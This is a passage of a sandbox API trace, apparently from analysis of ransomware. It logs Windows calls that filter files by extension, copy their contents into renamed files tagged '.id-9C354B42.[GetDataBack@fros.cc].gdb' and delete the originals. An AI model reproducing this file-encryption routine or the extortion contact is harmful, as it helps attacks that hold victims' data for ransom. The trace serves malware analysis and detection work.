Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".doc") returned 4 [0132.483] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0132.483] lstrlenW (lpString=".docx") returned 5 [0132.483] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0132.483] lstrlenW (lpString=".pdf") returned 4 [0132.483] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".xls") returned 4 [0132.483] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".xlsx") returned 5 [0132.483] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0132.483] lstrlenW (lpString=".ppt") returned 4 [0132.483] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".zip") returned 4 [0132.483] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".rar") returned 4 [0132.483] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".bz2") returned 4 [0132.483] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0132.483] lstrlenW (lpString=".7z") returned 3 [0132.483] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".dbf") returned 4 [0132.483] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".1cd") returned 4 [0132.483] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".jpg") returned 4 [0132.483] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString=".doc") returned 4 [0132.483] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0132.483] lstrlenW (lpString=".docx") returned 5 [0132.483] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0132.483] lstrlenW (lpString=".pdf") returned 4 [0132.483] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".xls") returned 4 [0132.483] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0132.483] lstrlenW (lpString=".xlsx") returned 5 [0132.483] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0132.483] lstrlenW (lpString=".ppt") returned 4 [0132.484] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0132.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.484] lstrlenW (lpString=".zip") returned 4 [0132.484] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0132.484] lstrlenW (lpString=".rar") returned 4 [0132.484] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0132.484] lstrlenW (lpString=".bz2") returned 4 [0132.484] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0132.484] lstrlenW (lpString=".7z") returned 3 [0132.484] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0132.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.484] lstrlenW (lpString=".dbf") returned 4 [0132.484] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0132.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.484] lstrlenW (lpString=".1cd") returned 4 [0132.484] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0132.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.484] lstrlenW (lpString=".jpg") returned 4 [0132.484] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0132.484] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.484] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0132.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0132.816] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=280448) returned 1 [0132.816] CloseHandle (hObject=0x208) returned 1 [0132.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0132.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0132.817] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.817] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0132.817] GetLastError () returned 0x0 [0132.817] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x44780, lpOverlapped=0x0) returned 1 [0134.612] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x44790, lpOverlapped=0x0) returned 1 [0135.170] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0135.170] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xec, lpOverlapped=0x0) returned 1 [0135.170] SetEndOfFile (hFile=0x1d4) returned 1 [0135.171] CloseHandle (hObject=0x1d4) returned 1 [0135.171] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0135.171] SetEndOfFile (hFile=0x208) returned 1 [0135.174] CloseHandle (hObject=0x208) returned 1 [0135.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0135.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.175] lstrlenW (lpString=".doc") returned 4 [0135.175] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0135.175] lstrlenW (lpString=".docx") returned 5 [0135.175] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0135.175] lstrlenW (lpString=".pdf") returned 4 [0135.175] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0135.175] lstrlenW (lpString=".xls") returned 4 [0135.175] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0135.175] lstrlenW (lpString=".xlsx") returned 5 [0135.175] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0135.175] lstrlenW (lpString=".ppt") returned 4 [0135.175] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0135.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.175] lstrlenW (lpString=".zip") returned 4 [0135.175] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0135.175] lstrlenW (lpString=".rar") returned 4 [0135.175] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0135.175] lstrlenW (lpString=".bz2") returned 4 [0135.175] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0135.175] lstrlenW (lpString=".7z") returned 3 [0135.175] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0135.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.175] lstrlenW (lpString=".dbf") returned 4 [0135.176] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".1cd") returned 4 [0135.176] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".jpg") returned 4 [0135.176] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".doc") returned 4 [0135.176] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString=".docx") returned 5 [0135.176] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0135.176] lstrlenW (lpString=".pdf") returned 4 [0135.176] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString=".xls") returned 4 [0135.176] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString=".xlsx") returned 5 [0135.176] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0135.176] lstrlenW (lpString=".ppt") returned 4 [0135.176] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".zip") returned 4 [0135.176] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString=".rar") returned 4 [0135.176] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0135.176] lstrlenW (lpString=".bz2") returned 4 [0135.176] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString=".7z") returned 3 [0135.176] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".dbf") returned 4 [0135.176] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".1cd") returned 4 [0135.176] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0135.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0135.176] lstrlenW (lpString=".jpg") returned 4 [0135.176] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0135.176] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.177] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0135.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.902] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2560) returned 1 [0135.902] CloseHandle (hObject=0x22c) returned 1 [0135.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0135.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.902] lstrlenW (lpString=".doc") returned 4 [0135.902] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.902] lstrlenW (lpString=".docx") returned 5 [0135.902] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.902] lstrlenW (lpString=".pdf") returned 4 [0135.903] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.903] lstrlenW (lpString=".xls") returned 4 [0135.903] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.903] lstrlenW (lpString=".xlsx") returned 5 [0135.903] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.903] lstrlenW (lpString=".ppt") returned 4 [0135.903] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString=".zip") returned 4 [0135.903] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.903] lstrlenW (lpString=".rar") returned 4 [0135.903] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.903] lstrlenW (lpString=".bz2") returned 4 [0135.903] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.903] lstrlenW (lpString=".7z") returned 3 [0135.903] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString=".dbf") returned 4 [0135.903] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString=".1cd") returned 4 [0135.903] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString=".jpg") returned 4 [0135.903] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.903] lstrlenW (lpString=".doc") returned 4 [0135.903] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.903] lstrlenW (lpString=".docx") returned 5 [0135.903] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.903] lstrlenW (lpString=".pdf") returned 4 [0135.903] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.904] lstrlenW (lpString=".xls") returned 4 [0135.904] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.904] lstrlenW (lpString=".xlsx") returned 5 [0135.904] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.904] lstrlenW (lpString=".ppt") returned 4 [0135.904] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.904] lstrlenW (lpString=".zip") returned 4 [0135.904] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.904] lstrlenW (lpString=".rar") returned 4 [0135.904] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.904] lstrlenW (lpString=".bz2") returned 4 [0135.904] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.904] lstrlenW (lpString=".7z") returned 3 [0135.904] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.904] lstrlenW (lpString=".dbf") returned 4 [0135.904] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.904] lstrlenW (lpString=".1cd") returned 4 [0135.904] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0135.904] lstrlenW (lpString=".jpg") returned 4 [0135.904] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.904] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.904] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0135.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.905] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=32768) returned 1 [0135.905] CloseHandle (hObject=0x22c) returned 1 [0135.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0135.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.905] lstrlenW (lpString=".doc") returned 4 [0135.905] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.905] lstrlenW (lpString=".docx") returned 5 [0135.905] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.905] lstrlenW (lpString=".pdf") returned 4 [0135.905] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.905] lstrlenW (lpString=".xls") returned 4 [0135.906] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString=".xlsx") returned 5 [0135.906] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.906] lstrlenW (lpString=".ppt") returned 4 [0135.906] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString=".zip") returned 4 [0135.906] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString=".rar") returned 4 [0135.906] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString=".bz2") returned 4 [0135.906] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.906] lstrlenW (lpString=".7z") returned 3 [0135.906] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString=".dbf") returned 4 [0135.906] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString=".1cd") returned 4 [0135.906] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString=".jpg") returned 4 [0135.906] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.906] lstrlenW (lpString=".doc") returned 4 [0135.906] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.906] lstrlenW (lpString=".docx") returned 5 [0135.906] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.906] lstrlenW (lpString=".pdf") returned 4 [0135.906] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString=".xls") returned 4 [0135.906] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.906] lstrlenW (lpString=".xlsx") returned 5 [0135.907] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.907] lstrlenW (lpString=".ppt") returned 4 [0135.907] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.907] lstrlenW (lpString=".zip") returned 4 [0135.907] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.907] lstrlenW (lpString=".rar") returned 4 [0135.907] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.907] lstrlenW (lpString=".bz2") returned 4 [0135.907] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.907] lstrlenW (lpString=".7z") returned 3 [0135.907] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.907] lstrlenW (lpString=".dbf") returned 4 [0135.907] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.907] lstrlenW (lpString=".1cd") returned 4 [0135.907] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0135.907] lstrlenW (lpString=".jpg") returned 4 [0135.907] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.907] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.907] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0135.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.908] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=3584) returned 1 [0135.908] CloseHandle (hObject=0x22c) returned 1 [0135.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0135.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 